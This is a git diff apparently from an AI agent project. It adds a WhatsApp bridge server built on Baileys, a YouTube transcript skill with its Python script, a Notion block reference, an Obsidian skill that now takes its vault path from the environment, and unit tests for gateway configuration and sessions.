const { state, saveCreds } = await useMultiFileAuthState(SESSION_DIR);
const { version } = await fetchLatestBaileysVersion();
sock = makeWASocket({
version,
auth: state,
logger,
printQRInTerminal: false,
browser: ['Hermes Agent', 'Chrome', '120.0'],
syncFullHistory: false,
markOnlineOnConnect: false,
});
sock.ev.on('creds.update', saveCreds);
sock.ev.on('connection.update', (update) => {
const { connection, lastDisconnect, qr } = update;
if (qr) {
console.log('\n📱 Scan this QR code with WhatsApp on your phone:\n');
qrcode.generate(qr, { small: true });
console.log('\nWaiting for scan...\n');
}
if (connection === 'close') {
const reason = new Boom(lastDisconnect?.error)?.output?.statusCode;
connectionState = 'disconnected';
if (reason === DisconnectReason.loggedOut) {
console.log('❌ Logged out. Delete session and restart to re-authenticate.');
process.exit(1);
} else {
// 515 = restart requested (common after pairing). Always reconnect.
if (reason === 515) {
console.log('↻ WhatsApp requested restart (code 515). Reconnecting...');
} else {
console.log(`⚠️ Connection closed (reason: ${reason}). Reconnecting in 3s...`);
}
setTimeout(startSocket, reason === 515 ? 1000 : 3000);
}
} else if (connection === 'open') {
connectionState = 'connected';
console.log('✅ WhatsApp connected!');
if (PAIR_ONLY) {
console.log('✅ Pairing complete. Credentials saved.');
// Give Baileys a moment to flush creds, then exit cleanly
setTimeout(() => process.exit(0), 2000);
}
}
});
sock.ev.on('messages.upsert', ({ messages, type }) => {
if (type !== 'notify') return;
for (const msg of messages) {
if (!msg.message) continue;
const chatId = msg.key.remoteJid;
const senderId = msg.key.participant || chatId;
const isGroup = chatId.endsWith('@g.us');
const senderNumber = senderId.replace(/@.*/, '');
// Skip own messages UNLESS it's a self-chat ("Message Yourself")
// Self-chat JID ends with the user's own number
if (msg.key.fromMe && !chatId.includes('status') && isGroup) continue;
// In non-group chats, fromMe means we sent it — skip unless allowed user sent to themselves
if (msg.key.fromMe && !isGroup && ALLOWED_USERS.length > 0 && !ALLOWED_USERS.includes(senderNumber)) continue;
// Check allowlist for messages from others
if (!msg.key.fromMe && ALLOWED_USERS.length > 0 && !ALLOWED_USERS.includes(senderNumber)) {
continue;
}
// Extract message body
let body = '';
let hasMedia = false;
let mediaType = '';
const mediaUrls = [];
if (msg.message.conversation) {
body = msg.message.conversation;
} else if (msg.message.extendedTextMessage?.text) {
body = msg.message.extendedTextMessage.text;
} else if (msg.message.imageMessage) {
body = msg.message.imageMessage.caption || '';
hasMedia = true;
mediaType = 'image';
} else if (msg.message.videoMessage) {
body = msg.message.videoMessage.caption || '';
hasMedia = true;
mediaType = 'video';
} else if (msg.message.audioMessage || msg.message.pttMessage) {
hasMedia = true;
mediaType = msg.message.pttMessage ? 'ptt' : 'audio';
} else if (msg.message.documentMessage) {
body = msg.message.documentMessage.caption || msg.message.documentMessage.fileName || '';
hasMedia = true;
mediaType = 'document';
}
// Skip empty messages
if (!body && !hasMedia) continue;
const event = {
messageId: msg.key.id,
chatId,
senderId,
senderName: msg.pushName || senderNumber,
chatName: isGroup ? (chatId.split('@')[0]) : (msg.pushName || senderNumber),
isGroup,
body,
hasMedia,
mediaType,
mediaUrls,
timestamp: msg.messageTimestamp,
};
messageQueue.push(event);
if (messageQueue.length > MAX_QUEUE_SIZE) {
messageQueue.shift();
}
}
});
}
// HTTP server
const app = express();
app.use(express.json());
// Poll for new messages (long-poll style)
app.get('/messages', (req, res) => {
const msgs = messageQueue.splice(0, messageQueue.length);
res.json(msgs);
});
// Send a message
app.post('/send', async (req, res) => {
if (!sock || connectionState !== 'connected') {
return res.status(503).json({ error: 'Not connected to WhatsApp' });
}
const { chatId, message, replyTo } = req.body;
if (!chatId || !message) {
return res.status(400).json({ error: 'chatId and message are required' });
}
try {
// Prefix responses so the user can distinguish agent replies from their
// own messages (especially in self-chat / "Message Yourself").
const prefixed = `⚕ *Hermes Agent*\n────────────\n${message}`;
const sent = await sock.sendMessage(chatId, { text: prefixed });
res.json({ success: true, messageId: sent?.key?.id });
} catch (err) {
res.status(500).json({ error: err.message });
}
});
// Typing indicator
app.post('/typing', async (req, res) => {
if (!sock || connectionState !== 'connected') {
return res.status(503).json({ error: 'Not connected' });
}
const { chatId } = req.body;
if (!chatId) return res.status(400).json({ error: 'chatId required' });
try {
await sock.sendPresenceUpdate('composing', chatId);
res.json({ success: true });
} catch (err) {
res.json({ success: false });
}
});
// Chat info
app.get('/chat/:id', async (req, res) => {
const chatId = req.params.id;
const isGroup = chatId.endsWith('@g.us');
if (isGroup && sock) {
try {
const metadata = await sock.groupMetadata(chatId);
return res.json({
name: metadata.subject,
isGroup: true,
participants: metadata.participants.map(p => p.id),
});
} catch {
// Fall through to default
}
}
res.json({
name: chatId.replace(/@.*/, ''),
isGroup,
participants: [],
});
});
// Health check
app.get('/health', (req, res) => {
res.json({
status: connectionState,
queueLength: messageQueue.length,
uptime: process.uptime(),
});
});
// Start
if (PAIR_ONLY) {
// Pair-only mode: just connect, show QR, save creds, exit. No HTTP server.
console.log('📱 WhatsApp pairing mode');
console.log(`📁 Session: ${SESSION_DIR}`);
console.log();
startSocket();
} else {
app.listen(PORT, () => {
console.log(`🌉 WhatsApp bridge listening on port ${PORT}`);
console.log(`📁 Session stored in: ${SESSION_DIR}`);
if (ALLOWED_USERS.length > 0) {
console.log(`🔒 Allowed users: ${ALLOWED_USERS.join(', ')}`);
} else {
console.log(`⚠️ No WHATSAPP_ALLOWED_USERS set — all messages will be processed`);
}
console.log();
startSocket();
});
}

2156
scripts/whatsapp-bridge/package-lock.json generated Normal file

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,16 @@
{
"name": "hermes-whatsapp-bridge",
"version": "1.0.0",
"description": "WhatsApp bridge for Hermes Agent using Baileys",
"private": true,
"type": "module",
"scripts": {
"start": "node bridge.js"
},
"dependencies": {
"@whiskeysockets/baileys": "7.0.0-rc.9",
"express": "^4.21.0",
"qrcode-terminal": "^0.12.0",
"pino": "^9.0.0"
}
}

View file

@ -42,6 +42,20 @@ curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scri
This installs uv, Python 3.11, clones the repo, sets up the venv, and launches an interactive setup wizard to configure your API provider and model. See the [GitHub repo](https://github.com/NousResearch/hermes-agent) for details.
## Resuming Previous Sessions
Resume a prior CLI session instead of starting fresh. Useful for continuing long tasks across process restarts:
```
# Resume the most recent CLI session
terminal(command="hermes --continue", background=true, pty=true)
# Resume a specific session by ID (shown on exit)
terminal(command="hermes --resume 20260225_143052_a1b2c3", background=true, pty=true)
```
The full conversation history (messages, tool calls, responses) is restored from SQLite. The agent sees everything from the previous session.
## Mode 1: One-Shot Query (-q flag)
Run a single query non-interactively. The agent executes, does its work, and exits:
@ -145,13 +159,13 @@ For scheduled autonomous tasks, use the `schedule_cronjob` tool instead of spawn
## Key Differences Between Modes
| | `-q` (one-shot) | Interactive (PTY) |
|---|---|---|
| User interaction | None | Full back-and-forth |
| PTY required | No | Yes (`pty=true`) |
| Multi-turn | Single query | Unlimited turns |
| Best for | Fire-and-forget tasks | Iterative work, reviews, steering |
| Exit | Automatic after completion | Send `/exit` or kill |
| | `-q` (one-shot) | Interactive (PTY) | `--continue` / `--resume` |
|---|---|---|---|
| User interaction | None | Full back-and-forth | Full back-and-forth |
| PTY required | No | Yes (`pty=true`) | Yes (`pty=true`) |
| Multi-turn | Single query | Unlimited turns | Continues previous turns |
| Best for | Fire-and-forget tasks | Iterative work, steering | Picking up where you left off |
| Exit | Automatic after completion | Send `/exit` or kill | Send `/exit` or kill |
## Known Issues

View file

@ -0,0 +1 @@
Media content extraction and transformation tools — YouTube transcripts, audio, video processing.

View file

@ -0,0 +1,71 @@
---
name: youtube-content
description: Fetch YouTube video transcripts and transform them into structured content (chapters, summaries, threads, blog posts).
---
# YouTube Content Tool
Extract transcripts from YouTube videos and convert them into useful formats.
## Setup
```bash
pip install youtube-transcript-api
```
## Helper script
This skill includes `fetch_transcript.py` — use it to fetch transcripts quickly:
```bash
# JSON output with metadata
python3 SKILL_DIR/scripts/fetch_transcript.py "https://youtube.com/watch?v=VIDEO_ID"
# With timestamps
python3 SKILL_DIR/scripts/fetch_transcript.py "https://youtube.com/watch?v=VIDEO_ID" --timestamps
# Plain text output (good for piping into further processing)
python3 SKILL_DIR/scripts/fetch_transcript.py "https://youtube.com/watch?v=VIDEO_ID" --text-only
# Specific language with fallback
python3 SKILL_DIR/scripts/fetch_transcript.py "https://youtube.com/watch?v=VIDEO_ID" --language tr,en
# Timestamped plain text
python3 SKILL_DIR/scripts/fetch_transcript.py "https://youtube.com/watch?v=VIDEO_ID" --text-only --timestamps
```
`SKILL_DIR` is the directory containing this SKILL.md file.
## URL formats supported
The script accepts any of these formats (or a raw 11-character video ID):
- `https://www.youtube.com/watch?v=VIDEO_ID`
- `https://youtu.be/VIDEO_ID`
- `https://youtube.com/shorts/VIDEO_ID`
- `https://youtube.com/embed/VIDEO_ID`
- `https://youtube.com/live/VIDEO_ID`
## Output formats
After fetching the transcript, format it based on what the user asks for:
- **Chapters**: Group by topic shifts, output timestamped chapter list (`00:00 Introduction`, `03:45 Main Topic`, etc.)
- **Summary**: Concise 5-10 sentence overview of the entire video
- **Chapter summaries**: Chapters with a short paragraph summary for each
- **Thread**: Twitter/X thread format — numbered posts, each under 280 chars
- **Blog post**: Full article with title, sections, and key takeaways
- **Quotes**: Notable quotes with timestamps
## Workflow
1. Fetch the transcript using the helper script
2. If the transcript is very long (>50K chars), summarize in chunks
3. Transform into the requested output format using your own reasoning
## Error handling
- **Transcript disabled**: Some videos have transcripts turned off — tell the user
- **Private/unavailable**: The API will raise an error — relay it clearly
- **No matching language**: Try without specifying a language to get whatever's available
- **Dependency missing**: Run `pip install youtube-transcript-api` first

View file

@ -0,0 +1,56 @@
# Output Format Examples
## Chapters
```
00:00 Introduction
02:15 Background and motivation
05:30 Main approach
12:45 Results and evaluation
18:20 Limitations and future work
21:00 Q&A
```
## Summary
A 5-10 sentence overview covering the video's main points, key arguments, and conclusions. Written in third person, present tense.
## Chapter Summaries
```
## 00:00 Introduction (2 min)
The speaker introduces the topic of X and explains why it matters for Y.
## 02:15 Background (3 min)
A review of prior work in the field, covering approaches A, B, and C.
```
## Thread (Twitter/X)
```
1/ Just watched an incredible talk on [topic]. Here are the key takeaways: 🧵
2/ First insight: [point]. This matters because [reason].
3/ The surprising part: [unexpected finding]. Most people assume [common belief], but the data shows otherwise.
4/ Practical takeaway: [actionable advice].
5/ Full video: [URL]
```
## Blog Post
Full article with:
- Title
- Introduction paragraph
- H2 sections for each major topic
- Key quotes (with timestamps)
- Conclusion / takeaways
## Quotes
```
"The most important thing is not the model size, but the data quality." — 05:32
"We found that scaling past 70B parameters gave diminishing returns." — 12:18
```

View file

@ -0,0 +1,112 @@
#!/usr/bin/env python3
"""
Fetch a YouTube video transcript and output it as structured JSON.
Usage:
python fetch_transcript.py <url_or_video_id> [--language en,tr] [--timestamps]
Output (JSON):
{
"video_id": "...",
"language": "en",
"segments": [{"text": "...", "start": 0.0, "duration": 2.5}, ...],
"full_text": "complete transcript as plain text",
"timestamped_text": "00:00 first line\n00:05 second line\n..."
}
Install dependency: pip install youtube-transcript-api
"""
import argparse
import json
import re
import sys
def extract_video_id(url_or_id: str) -> str:
"""Extract the 11-character video ID from various YouTube URL formats."""
url_or_id = url_or_id.strip()
patterns = [
r'(?:v=|youtu\.be/|shorts/|embed/|live/)([a-zA-Z0-9_-]{11})',
r'^([a-zA-Z0-9_-]{11})$',
]
for pattern in patterns:
match = re.search(pattern, url_or_id)
if match:
return match.group(1)
return url_or_id
def format_timestamp(seconds: float) -> str:
"""Convert seconds to HH:MM:SS or MM:SS format."""
total = int(seconds)
h, remainder = divmod(total, 3600)
m, s = divmod(remainder, 60)
if h > 0:
return f"{h}:{m:02d}:{s:02d}"
return f"{m}:{s:02d}"
def fetch_transcript(video_id: str, languages: list = None):
"""Fetch transcript segments from YouTube."""
try:
from youtube_transcript_api import YouTubeTranscriptApi
except ImportError:
print("Error: youtube-transcript-api not installed. Run: pip install youtube-transcript-api",
file=sys.stderr)
sys.exit(1)
if languages:
return YouTubeTranscriptApi.get_transcript(video_id, languages=languages)
return YouTubeTranscriptApi.get_transcript(video_id)
def main():
parser = argparse.ArgumentParser(description="Fetch YouTube transcript as JSON")
parser.add_argument("url", help="YouTube URL or video ID")
parser.add_argument("--language", "-l", default=None,
help="Comma-separated language codes (e.g. en,tr). Default: auto")
parser.add_argument("--timestamps", "-t", action="store_true",
help="Include timestamped text in output")
parser.add_argument("--text-only", action="store_true",
help="Output plain text instead of JSON")
args = parser.parse_args()
video_id = extract_video_id(args.url)
languages = [l.strip() for l in args.language.split(",")] if args.language else None
try:
segments = fetch_transcript(video_id, languages)
except Exception as e:
error_msg = str(e)
if "disabled" in error_msg.lower():
print(json.dumps({"error": "Transcripts are disabled for this video."}))
elif "no transcript" in error_msg.lower():
print(json.dumps({"error": f"No transcript found. Try specifying a language with --language."}))
else:
print(json.dumps({"error": error_msg}))
sys.exit(1)
full_text = " ".join(seg["text"] for seg in segments)
timestamped = "\n".join(
f"{format_timestamp(seg['start'])} {seg['text']}" for seg in segments
)
if args.text_only:
print(timestamped if args.timestamps else full_text)
return
result = {
"video_id": video_id,
"segment_count": len(segments),
"duration": format_timestamp(segments[-1]["start"] + segments[-1]["duration"]) if segments else "0:00",
"full_text": full_text,
}
if args.timestamps:
result["timestamped_text"] = timestamped
print(json.dumps(result, ensure_ascii=False, indent=2))
if __name__ == "__main__":
main()

View file

@ -5,40 +5,48 @@ description: Read, search, and create notes in the Obsidian vault.
# Obsidian Vault
**Location:** `/home/teknium/Documents/Primary Vault`
**Location:** Set via `OBSIDIAN_VAULT_PATH` environment variable (e.g. in `~/.hermes/.env`).
Note: Path contains a space - always quote it.
If unset, defaults to `~/Documents/Obsidian Vault`.
Note: Vault paths may contain spaces - always quote them.
## Read a note
```bash
cat "/home/teknium/Documents/Primary Vault/Note Name.md"
VAULT="${OBSIDIAN_VAULT_PATH:-$HOME/Documents/Obsidian Vault}"
cat "$VAULT/Note Name.md"
```
## List notes
```bash
VAULT="${OBSIDIAN_VAULT_PATH:-$HOME/Documents/Obsidian Vault}"
# All notes
find "/home/teknium/Documents/Primary Vault" -name "*.md" -type f
find "$VAULT" -name "*.md" -type f
# In a specific folder
ls "/home/teknium/Documents/Primary Vault/AI Research/"
ls "$VAULT/Subfolder/"
```
## Search
```bash
VAULT="${OBSIDIAN_VAULT_PATH:-$HOME/Documents/Obsidian Vault}"
# By filename
find "/home/teknium/Documents/Primary Vault" -name "*.md" -iname "*keyword*"
find "$VAULT" -name "*.md" -iname "*keyword*"
# By content
grep -rli "keyword" "/home/teknium/Documents/Primary Vault" --include="*.md"
grep -rli "keyword" "$VAULT" --include="*.md"
```
## Create a note
```bash
cat > "/home/teknium/Documents/Primary Vault/New Note.md" << 'ENDNOTE'
VAULT="${OBSIDIAN_VAULT_PATH:-$HOME/Documents/Obsidian Vault}"
cat > "$VAULT/New Note.md" << 'ENDNOTE'
# Title
Content here.
@ -48,8 +56,9 @@ ENDNOTE
## Append to a note
```bash
VAULT="${OBSIDIAN_VAULT_PATH:-$HOME/Documents/Obsidian Vault}"
echo "
New content here." >> "/home/teknium/Documents/Primary Vault/Existing Note.md"
New content here." >> "$VAULT/Existing Note.md"
```
## Wikilinks

View file

@ -0,0 +1,112 @@
# Notion Block Types
Reference for creating and reading all common Notion block types via the API.
## Creating blocks
Use `PATCH /v1/blocks/{page_id}/children` with a `children` array. Each block follows this structure:
```json
{"object": "block", "type": "<type>", "<type>": { ... }}
```
### Paragraph
```json
{"type": "paragraph", "paragraph": {"rich_text": [{"text": {"content": "Hello world"}}]}}
```
### Headings
```json
{"type": "heading_1", "heading_1": {"rich_text": [{"text": {"content": "Title"}}]}}
{"type": "heading_2", "heading_2": {"rich_text": [{"text": {"content": "Section"}}]}}
{"type": "heading_3", "heading_3": {"rich_text": [{"text": {"content": "Subsection"}}]}}
```
### Bulleted list
```json
{"type": "bulleted_list_item", "bulleted_list_item": {"rich_text": [{"text": {"content": "Item"}}]}}
```
### Numbered list
```json
{"type": "numbered_list_item", "numbered_list_item": {"rich_text": [{"text": {"content": "Step 1"}}]}}
```
### To-do / checkbox
```json
{"type": "to_do", "to_do": {"rich_text": [{"text": {"content": "Task"}}], "checked": false}}
```
### Quote
```json
{"type": "quote", "quote": {"rich_text": [{"text": {"content": "Something wise"}}]}}
```
### Callout
```json
{"type": "callout", "callout": {"rich_text": [{"text": {"content": "Important note"}}], "icon": {"emoji": "💡"}}}
```
### Code
```json
{"type": "code", "code": {"rich_text": [{"text": {"content": "print('hello')"}}], "language": "python"}}
```
### Toggle
```json
{"type": "toggle", "toggle": {"rich_text": [{"text": {"content": "Click to expand"}}]}}
```
### Divider
```json
{"type": "divider", "divider": {}}
```
### Bookmark
```json
{"type": "bookmark", "bookmark": {"url": "https://example.com"}}
```
### Image (external URL)
```json
{"type": "image", "image": {"type": "external", "external": {"url": "https://example.com/photo.png"}}}
```
## Reading blocks
When reading blocks from `GET /v1/blocks/{page_id}/children`, each block has a `type` field. Extract readable text like this:
| Type | Text location | Extra fields |
|------|--------------|--------------|
| `paragraph` | `.paragraph.rich_text` | — |
| `heading_1/2/3` | `.heading_N.rich_text` | — |
| `bulleted_list_item` | `.bulleted_list_item.rich_text` | — |
| `numbered_list_item` | `.numbered_list_item.rich_text` | — |
| `to_do` | `.to_do.rich_text` | `.to_do.checked` (bool) |
| `toggle` | `.toggle.rich_text` | has children |
| `code` | `.code.rich_text` | `.code.language` |
| `quote` | `.quote.rich_text` | — |
| `callout` | `.callout.rich_text` | `.callout.icon.emoji` |
| `divider` | — | — |
| `image` | `.image.caption` | `.image.file.url` or `.image.external.url` |
| `bookmark` | `.bookmark.caption` | `.bookmark.url` |
| `child_page` | — | `.child_page.title` |
| `child_database` | — | `.child_database.title` |
Rich text arrays contain objects with `.plain_text` — concatenate them for readable output.
---
*Contributed by [@dogiladeveloper](https://github.com/dogiladeveloper)*

38
tests/conftest.py Normal file
View file

@ -0,0 +1,38 @@
"""Shared fixtures for the hermes-agent test suite."""
import os
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch
import pytest
# Ensure project root is importable
PROJECT_ROOT = Path(__file__).parent.parent
if str(PROJECT_ROOT) not in sys.path:
sys.path.insert(0, str(PROJECT_ROOT))
@pytest.fixture()
def tmp_dir(tmp_path):
"""Provide a temporary directory that is cleaned up automatically."""
return tmp_path
@pytest.fixture()
def mock_config():
"""Return a minimal hermes config dict suitable for unit tests."""
return {
"model": "test/mock-model",
"toolsets": ["terminal", "file"],
"max_turns": 10,
"terminal": {
"backend": "local",
"cwd": "/tmp",
"timeout": 30,
},
"compression": {"enabled": False},
"memory": {"memory_enabled": False, "user_profile_enabled": False},
"command_allowlist": [],
}

View file

View file

@ -0,0 +1,103 @@
"""Tests for gateway configuration management."""
from gateway.config import (
GatewayConfig,
HomeChannel,
Platform,
PlatformConfig,
SessionResetPolicy,
)
class TestHomeChannelRoundtrip:
def test_to_dict_from_dict(self):
hc = HomeChannel(platform=Platform.DISCORD, chat_id="999", name="general")
d = hc.to_dict()
restored = HomeChannel.from_dict(d)
assert restored.platform == Platform.DISCORD
assert restored.chat_id == "999"
assert restored.name == "general"
class TestPlatformConfigRoundtrip:
def test_to_dict_from_dict(self):
pc = PlatformConfig(
enabled=True,
token="tok_123",
home_channel=HomeChannel(
platform=Platform.TELEGRAM,
chat_id="555",
name="Home",
),
extra={"foo": "bar"},
)
d = pc.to_dict()
restored = PlatformConfig.from_dict(d)
assert restored.enabled is True
assert restored.token == "tok_123"
assert restored.home_channel.chat_id == "555"
assert restored.extra == {"foo": "bar"}
def test_disabled_no_token(self):
pc = PlatformConfig()
d = pc.to_dict()
restored = PlatformConfig.from_dict(d)
assert restored.enabled is False
assert restored.token is None
class TestGetConnectedPlatforms:
def test_returns_enabled_with_token(self):
config = GatewayConfig(
platforms={
Platform.TELEGRAM: PlatformConfig(enabled=True, token="t"),
Platform.DISCORD: PlatformConfig(enabled=False, token="d"),
Platform.SLACK: PlatformConfig(enabled=True), # no token
},
)
connected = config.get_connected_platforms()
assert Platform.TELEGRAM in connected
assert Platform.DISCORD not in connected
assert Platform.SLACK not in connected
def test_empty_platforms(self):
config = GatewayConfig()
assert config.get_connected_platforms() == []
class TestSessionResetPolicy:
def test_roundtrip(self):
policy = SessionResetPolicy(mode="idle", at_hour=6, idle_minutes=120)
d = policy.to_dict()
restored = SessionResetPolicy.from_dict(d)
assert restored.mode == "idle"
assert restored.at_hour == 6
assert restored.idle_minutes == 120
def test_defaults(self):
policy = SessionResetPolicy()
assert policy.mode == "both"
assert policy.at_hour == 4
assert policy.idle_minutes == 1440
class TestGatewayConfigRoundtrip:
def test_full_roundtrip(self):
config = GatewayConfig(
platforms={
Platform.TELEGRAM: PlatformConfig(
enabled=True,
token="tok",
home_channel=HomeChannel(Platform.TELEGRAM, "123", "Home"),
),
},
reset_triggers=["/new"],
)
d = config.to_dict()
restored = GatewayConfig.from_dict(d)
assert Platform.TELEGRAM in restored.platforms
assert restored.platforms[Platform.TELEGRAM].token == "tok"
assert restored.reset_triggers == ["/new"]

View file

@ -0,0 +1,86 @@
"""Tests for the delivery routing module."""
from gateway.config import Platform, GatewayConfig, PlatformConfig, HomeChannel
from gateway.delivery import DeliveryTarget, parse_deliver_spec
from gateway.session import SessionSource
class TestParseTargetPlatformChat:
def test_explicit_telegram_chat(self):
target = DeliveryTarget.parse("telegram:12345")
assert target.platform == Platform.TELEGRAM
assert target.chat_id == "12345"
assert target.is_explicit is True
def test_platform_only_no_chat_id(self):
target = DeliveryTarget.parse("discord")
assert target.platform == Platform.DISCORD
assert target.chat_id is None
assert target.is_explicit is False
def test_local_target(self):
target = DeliveryTarget.parse("local")
assert target.platform == Platform.LOCAL
assert target.chat_id is None
def test_origin_with_source(self):
origin = SessionSource(platform=Platform.TELEGRAM, chat_id="789")
target = DeliveryTarget.parse("origin", origin=origin)
assert target.platform == Platform.TELEGRAM
assert target.chat_id == "789"
assert target.is_origin is True
def test_origin_without_source(self):
target = DeliveryTarget.parse("origin")
assert target.platform == Platform.LOCAL
assert target.is_origin is True
def test_unknown_platform(self):
target = DeliveryTarget.parse("unknown_platform")
assert target.platform == Platform.LOCAL
class TestParseDeliverSpec:
def test_none_returns_default(self):
result = parse_deliver_spec(None)
assert result == "origin"
def test_empty_string_returns_default(self):
result = parse_deliver_spec("")
assert result == "origin"
def test_custom_default(self):
result = parse_deliver_spec(None, default="local")
assert result == "local"
def test_passthrough_string(self):
result = parse_deliver_spec("telegram")
assert result == "telegram"
def test_passthrough_list(self):
result = parse_deliver_spec(["local", "telegram"])
assert result == ["local", "telegram"]
class TestTargetToStringRoundtrip:
def test_origin_roundtrip(self):
origin = SessionSource(platform=Platform.TELEGRAM, chat_id="111")
target = DeliveryTarget.parse("origin", origin=origin)
assert target.to_string() == "origin"
def test_local_roundtrip(self):
target = DeliveryTarget.parse("local")
assert target.to_string() == "local"
def test_platform_only_roundtrip(self):
target = DeliveryTarget.parse("discord")
assert target.to_string() == "discord"
def test_explicit_chat_roundtrip(self):
target = DeliveryTarget.parse("telegram:999")
s = target.to_string()
assert s == "telegram:999"
reparsed = DeliveryTarget.parse(s)
assert reparsed.platform == Platform.TELEGRAM
assert reparsed.chat_id == "999"

View file

@ -0,0 +1,201 @@
"""Tests for gateway session management."""
import pytest
from gateway.config import Platform, HomeChannel, GatewayConfig, PlatformConfig
from gateway.session import (
SessionSource,
build_session_context,
build_session_context_prompt,
)
class TestSessionSourceRoundtrip:
def test_full_roundtrip(self):
source = SessionSource(
platform=Platform.TELEGRAM,
chat_id="12345",
chat_name="My Group",
chat_type="group",
user_id="99",
user_name="alice",
thread_id="t1",
)
d = source.to_dict()
restored = SessionSource.from_dict(d)
assert restored.platform == Platform.TELEGRAM
assert restored.chat_id == "12345"
assert restored.chat_name == "My Group"
assert restored.chat_type == "group"
assert restored.user_id == "99"
assert restored.user_name == "alice"
assert restored.thread_id == "t1"
def test_minimal_roundtrip(self):
source = SessionSource(platform=Platform.LOCAL, chat_id="cli")
d = source.to_dict()
restored = SessionSource.from_dict(d)
assert restored.platform == Platform.LOCAL
assert restored.chat_id == "cli"
assert restored.chat_type == "dm" # default value preserved
def test_chat_id_coerced_to_string(self):
"""from_dict should handle numeric chat_id (common from Telegram)."""
restored = SessionSource.from_dict({
"platform": "telegram",
"chat_id": 12345,
})
assert restored.chat_id == "12345"
assert isinstance(restored.chat_id, str)
def test_missing_optional_fields(self):
restored = SessionSource.from_dict({
"platform": "discord",
"chat_id": "abc",
})
assert restored.chat_name is None
assert restored.user_id is None
assert restored.user_name is None
assert restored.thread_id is None
assert restored.chat_type == "dm"
def test_invalid_platform_raises(self):
with pytest.raises((ValueError, KeyError)):
SessionSource.from_dict({"platform": "nonexistent", "chat_id": "1"})
class TestSessionSourceDescription:
def test_local_cli(self):
source = SessionSource.local_cli()
assert source.description == "CLI terminal"
def test_dm_with_username(self):
source = SessionSource(
platform=Platform.TELEGRAM, chat_id="123",
chat_type="dm", user_name="bob",
)
assert "DM" in source.description
assert "bob" in source.description
def test_dm_without_username_falls_back_to_user_id(self):
source = SessionSource(
platform=Platform.TELEGRAM, chat_id="123",
chat_type="dm", user_id="456",
)
assert "456" in source.description
def test_group_shows_chat_name(self):
source = SessionSource(
platform=Platform.DISCORD, chat_id="789",
chat_type="group", chat_name="Dev Chat",
)
assert "group" in source.description
assert "Dev Chat" in source.description
def test_channel_type(self):
source = SessionSource(
platform=Platform.TELEGRAM, chat_id="100",
chat_type="channel", chat_name="Announcements",
)
assert "channel" in source.description
assert "Announcements" in source.description
def test_thread_id_appended(self):
source = SessionSource(
platform=Platform.DISCORD, chat_id="789",
chat_type="group", chat_name="General",
thread_id="thread-42",
)
assert "thread" in source.description
assert "thread-42" in source.description
def test_unknown_chat_type_uses_name(self):
source = SessionSource(
platform=Platform.SLACK, chat_id="C01",
chat_type="forum", chat_name="Questions",
)
assert "Questions" in source.description
class TestLocalCliFactory:
def test_local_cli_defaults(self):
source = SessionSource.local_cli()
assert source.platform == Platform.LOCAL
assert source.chat_id == "cli"
assert source.chat_type == "dm"
assert source.chat_name == "CLI terminal"
class TestBuildSessionContextPrompt:
def test_telegram_prompt_contains_platform_and_chat(self):
config = GatewayConfig(
platforms={
Platform.TELEGRAM: PlatformConfig(
enabled=True,
token="fake-token",
home_channel=HomeChannel(
platform=Platform.TELEGRAM,
chat_id="111",
name="Home Chat",
),
),
},
)
source = SessionSource(
platform=Platform.TELEGRAM,
chat_id="111",
chat_name="Home Chat",
chat_type="dm",
)
ctx = build_session_context(source, config)
prompt = build_session_context_prompt(ctx)
assert "Telegram" in prompt
assert "Home Chat" in prompt
def test_discord_prompt(self):
config = GatewayConfig(
platforms={
Platform.DISCORD: PlatformConfig(
enabled=True,
token="fake-discord-token",
),
},
)
source = SessionSource(
platform=Platform.DISCORD,
chat_id="guild-123",
chat_name="Server",
chat_type="group",
user_name="alice",
)
ctx = build_session_context(source, config)
prompt = build_session_context_prompt(ctx)
assert "Discord" in prompt
def test_local_prompt_mentions_machine(self):
config = GatewayConfig()
source = SessionSource.local_cli()
ctx = build_session_context(source, config)
prompt = build_session_context_prompt(ctx)
assert "Local" in prompt
assert "machine running this agent" in prompt
def test_whatsapp_prompt(self):
config = GatewayConfig(
platforms={
Platform.WHATSAPP: PlatformConfig(enabled=True, token=""),
},
)
source = SessionSource(
platform=Platform.WHATSAPP,
chat_id="15551234567@s.whatsapp.net",
chat_type="dm",
user_name="Phone User",
)
ctx = build_session_context(source, config)
prompt = build_session_context_prompt(ctx)
assert "WhatsApp" in prompt or "whatsapp" in prompt.lower()

View file

View file

@ -0,0 +1,68 @@
"""Tests for hermes_cli configuration management."""
import os
from pathlib import Path
from unittest.mock import patch
from hermes_cli.config import (
DEFAULT_CONFIG,
get_hermes_home,
ensure_hermes_home,
load_config,
save_config,
)
class TestGetHermesHome:
def test_default_path(self):
with patch.dict(os.environ, {}, clear=False):
os.environ.pop("HERMES_HOME", None)
home = get_hermes_home()
assert home == Path.home() / ".hermes"
def test_env_override(self):
with patch.dict(os.environ, {"HERMES_HOME": "/custom/path"}):
home = get_hermes_home()
assert home == Path("/custom/path")
class TestEnsureHermesHome:
def test_creates_subdirs(self, tmp_path):
with patch.dict(os.environ, {"HERMES_HOME": str(tmp_path)}):
ensure_hermes_home()
assert (tmp_path / "cron").is_dir()
assert (tmp_path / "sessions").is_dir()
assert (tmp_path / "logs").is_dir()
assert (tmp_path / "memories").is_dir()
class TestLoadConfigDefaults:
def test_returns_defaults_when_no_file(self, tmp_path):
with patch.dict(os.environ, {"HERMES_HOME": str(tmp_path)}):
config = load_config()
assert config["model"] == DEFAULT_CONFIG["model"]
assert config["max_turns"] == DEFAULT_CONFIG["max_turns"]
assert "terminal" in config
assert config["terminal"]["backend"] == "local"
class TestSaveAndLoadRoundtrip:
def test_roundtrip(self, tmp_path):
with patch.dict(os.environ, {"HERMES_HOME": str(tmp_path)}):
config = load_config()
config["model"] = "test/custom-model"
config["max_turns"] = 42
save_config(config)
reloaded = load_config()
assert reloaded["model"] == "test/custom-model"
assert reloaded["max_turns"] == 42
def test_nested_values_preserved(self, tmp_path):
with patch.dict(os.environ, {"HERMES_HOME": str(tmp_path)}):
config = load_config()
config["terminal"]["timeout"] = 999
save_config(config)
reloaded = load_config()
assert reloaded["terminal"]["timeout"] == 999

View file

@ -0,0 +1,56 @@
"""Tests for the hermes_cli models module."""
from hermes_cli.models import OPENROUTER_MODELS, menu_labels, model_ids
class TestModelIds:
def test_returns_non_empty_list(self):
ids = model_ids()
assert isinstance(ids, list)
assert len(ids) > 0
def test_ids_match_models_list(self):
ids = model_ids()
